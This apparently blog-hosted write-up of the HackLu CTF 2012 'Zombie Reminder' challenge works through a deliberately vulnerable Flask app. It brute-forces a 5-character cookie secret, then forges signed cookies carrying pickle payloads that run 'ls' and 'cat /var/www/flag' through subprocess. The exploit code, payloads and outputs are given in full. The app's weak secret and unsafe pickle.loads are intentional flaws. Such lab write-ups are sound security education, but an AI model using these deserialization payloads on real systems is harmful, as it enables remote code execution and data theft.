HackLu CTF 2012 – Zombie Reminder (200) Write-up

19 – Zombie Reminder

Zombies love brains. But zombies forget, so they have a tool where they can enter the location of brains they found. In a heroic mission someone managed to obtain both the source code and the information that a critical file can be found at ‘/var/www/flag’. Your mission is to obtain the contents of this file by any means and avenge your fallen friend!

Service: https://ctf.fluxfingers.net:2073/
Source: https://ctf.fluxfingers.net/challenges/zombie_reminder.py

This is the source code of the challenge:

# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from flask import Flask, request, make_response, redirect, url_for
from flask.helpers import flash, get_flashed_messages
from werkzeug.security import safe_str_cmp
import pickle, base64
b64e=base64.b64encode
b64d=base64.b64decode

SECRET_KEY=b'XiAqnj3ju81jyBtqHttbOGDoxsv9PYvIlHHzm9sLDMp22iGkaB'

cookie_secret=''

app = Flask(__name__)
app.config.from_object(__name__)

@app.route('/')
def home():
    base_str = """
    <html><head></head><body>
    %s
    %s
    <a href="/reminder">Remember brains!</a>
    </body></html>
    """

    remembered_str = '<p>Hello, here is what we remember for you. If you want to change, delete or extend it, click below.</p><p>%s</p>'
    new_str = '<p>Hello fellow zombie, have you found a tasty brain and want to remember where? Go right here and enter it:</p>'

    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    elif location == '':
        rem_str = new_str
    else:
        rem_str = remembered_str % location

    flash_str = ''
    for msg in get_flashed_messages():
        flash_str += "%s<br />" % msg
    base_str = base_str % (flash_str, rem_str)
    return base_str

@app.route('/clear')
def clear():
    flash("Reminder cleared!")
    response = redirect(url_for('home'))
    response.set_cookie('location', max_age=0)
    return response

@app.route('/reminder', methods=['POST', 'GET'])
def reminder():
    if request.method == 'POST':
        location = request.form["reminder"]
        if location == '':
            flash("Message cleared, tell us when you have found more brains.")
        else:
            flash("We will remember where you find your brains.")
        location = b64e(pickle.dumps(location))
        cookie = make_cookie(location, cookie_secret)
        response = redirect(url_for('home'))
        response.set_cookie('location', cookie)
        return response
    location = getlocation()
    if location == False:
        return redirect(url_for("clear"))
    return """
    <html><head></head>
    <body>
        <p>Enter location of brains here:</p>
        <form method="POST" action="/reminder">
            <label>BRAINZ:</label><input type="text" name="reminder" value="%s"/><br />
            <input type="submit" name="submit" value="NOM!"/>
        </form>
    </body>
    </html>
    """ % location

def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        flash("Hey! This is not a valid cookie! Leave me alone.")
        return False
    location = pickle.loads(b64d(location))
    return location

def make_cookie(location, secret):
    return "%s!%s" % (calc_digest(location, secret), location)

def calc_digest(location, secret):
    from hashlib import sha256
    return sha256("%s%s" % (location, secret)).hexdigest()

def init_secret():
    from os import path
    import random, string
    if not path.exists('secret'):
        with open("secret", "w") as f:
                secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(5))
                f.write(secret)
    with open("secret", "r") as f:
        return f.read()

if __name__ == '__main__':
    cookie_secret = init_secret()
    app.run()

When we store a location, let’s say “nowhere”, the server response includes a cookie like this:

Set-Cookie: location="7fb43f409c2643aad99b6a67934c736c84821a3f8877d960fd62fe181ef7c45c!Vm5vd2hlcmUKcDAKLg=="; Path=/

The format of the “location” cookie is <sha256_digest>!<serialized_location>, where serialized_location is:

location = b64e(pickle.dumps(location))

And the sha256_digest is calculated as follows (location parameter is already serialized at the time this function is called):

def calc_digest(location, secret):
    from hashlib import sha256
    return sha256("%s%s" % (location, secret)).hexdigest()

When visiting the page with the “location” cookie set, the server will try to unserialize the serialized_location part of the “location” cookie using the pickle.loads() function, which is known to be unsafe; however it isn’t that simple, because the server calculates the digest (using a secret key we don’t know) of the serialized_location piece and compares it against the sha256_digest part of the “location” cookie before unserializing the serialized_location:

def getlocation():
    cookie = request.cookies.get('location')
    if not cookie:
        return ''
    (digest, location) = cookie.split("!")
    if not safe_str_cmp(calc_digest(location, cookie_secret), digest):
        flash("Hey! This is not a valid cookie! Leave me alone.")
        return False
    location = pickle.loads(b64d(location))
    return location

So our first task is to get the secret key used to calculate SHA256 digests; otherwise we won’t be able to craft malicious serialized_locations.

The secret key is a string of 5 random characters taken from the following alphabet: ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789’:

def init_secret():
    from os import path
    import random, string
    if not path.exists('secret'):
        with open("secret", "w") as f:     
                secret = ''.join(random.choice(string.ascii_letters + string.digits) for x in range(5))
                f.write(secret)
    with open("secret", "r") as f:
        return f.read()

So there are 62^5 possible secret keys, or 916132832  possible secret keys. I’ve coded a little Pyton script in order to bruteforce the key. It will calculate the digest of a known serialized location trying every 5-char string using the defined alphabet as the secret key, and it will compare this generated digest against the known correct digest for that known serialized location.

import pickle
import base64
import string

 
def calc_digest(location, secret):
    from hashlib import sha256
    return sha256("%s%s" % (location, secret)).hexdigest()



digest ='7fb43f409c2643aad99b6a67934c736c84821a3f8877d960fd62fe181ef7c45c'
location = 'Vm5vd2hlcmUKcDAKLg=='

alphabet = string.ascii_letters + string.digits

counter = 0
for char1 in alphabet:
    for char2 in alphabet:
        for char3 in alphabet:
            for char4 in alphabet:
                for char5 in alphabet:
                    counter += 1
                    test_key = '%s%s%s%s%s' % (char1, char2, char3, char4, char5)
                    if (counter % 100000) == 0:
                        print "... Try %d, testing string: %s" % (counter, test_key)

                    if calc_digest(location, test_key) == digest:
                        print "[!] Found the key: %s" % test_key
                        raw_input()

After some minutes we get the secret key: oIqxe. Now we can craft arbitrary locations:

>>> def calc_digest(location, secret):
... 	from hashlib import sha256
... 	return sha256("%s%s" % (location, secret)).hexdigest()

>>> secret = 'oIqxe'
>>> base64.b64encode(pickle.dumps('the beach'))
'Uyd0aGUgYmVhY2gnCnAwCi4='

>>> calc_digest('Uyd0aGUgYmVhY2gnCnAwCi4=', secret)
'e1f5e0962933e7b2b601966833dfd4ba7108a76b2bc65f0abc9ab245cee00c1b'

So If I want to set the location to “the beach” by just manipulating the cookie, I should set the location cookie value to:
e1f5e0962933e7b2b601966833dfd4ba7108a76b2bc65f0abc9ab245cee00c1b!Uyd0aGUgYmVhY2gnCnAwCi4=

So let’s do something more interesting with this. If you don’t know about unsecure deserialization in Python using the pickle module, you should read these two blogposts:
* http://www.toniblogs.com/08/2012/security/shellcoding-with-python-pickles/
* http://blog.nelhage.com/2011/03/exploiting-pickle/

Let’s craft a class that will execute the “ls” command when deserialized:

>>> class Piuto(object):
... 	def __reduce__(self):
... 		return (subprocess.check_output, ('ls',))

>>> secret = 'oIqxe'
>>> serialized_location = base64.b64encode(pickle.dumps(Piuto()))
>>> calc_digest(serialized_location, secret)
'fcae1899ba9032aab1f10e8e3c1e44ffd4ffa8eb1cadd67093539433e6cb6bf0'
>>> serialized_location
'Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAwCihTJ2xzJwpwMQp0cDIKUnAzCi4='

So we set the location cookie to

fcae1899ba9032aab1f10e8e3c1e44ffd4ffa8eb1cadd67093539433e6cb6bf0!Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAwCihTJ2xzJwpwMQp0cDIKUnAzCi4=

, and then visit the challenge page again, and we get this:

Hello, here is what we remember for you. If you want to change, delete or extend it, click below.

bin boot dev etc home lib lib64 media mnt opt proc root run sbin selinux srv sys tmp usr var
Remember brains! 

The hint says that the flag for this challenge is stored at /var/www/flag, so let’s craft a class that will show the content of that file when deserialized:

>>> class Piuto(object):
... 	def __reduce__(self):
... 		return (subprocess.check_output, (['cat', '/var/www/flag'],))

>>> secret = 'oIqxe'
>>> serialized_location = base64.b64encode(pickle.dumps(Piuto()))
>>> calc_digest(serialized_location, secret)
'0c9e84329ef3a965568cfb22fc05a665a62dd1278e8efdb9b6b47d22bbbcb646'
>>> serialized_location
'Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAwCigobHAxClMnY2F0JwpwMgphUycvdmFyL3d3dy9mbGFnJwpwMwphdHA0ClJwNQou'

So we set the location cookie to:

0c9e84329ef3a965568cfb22fc05a665a62dd1278e8efdb9b6b47d22bbbcb646!Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CnAwCigobHAxClMnY2F0JwpwMgphUycvdmFyL3d3dy9mbGFnJwpwMwphdHA0ClJwNQou

, we visit the challenge page again, and we get the flag:

Hello, here is what we remember for you. If you want to change, delete or extend it, click below.

08ac40047dae3f6a36471d768dfcb1b7a8e18fb8
Remember brains! 

So the key for this challenge was: 08ac40047dae3f6a36471d768dfcb1b7a8e18fb8.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s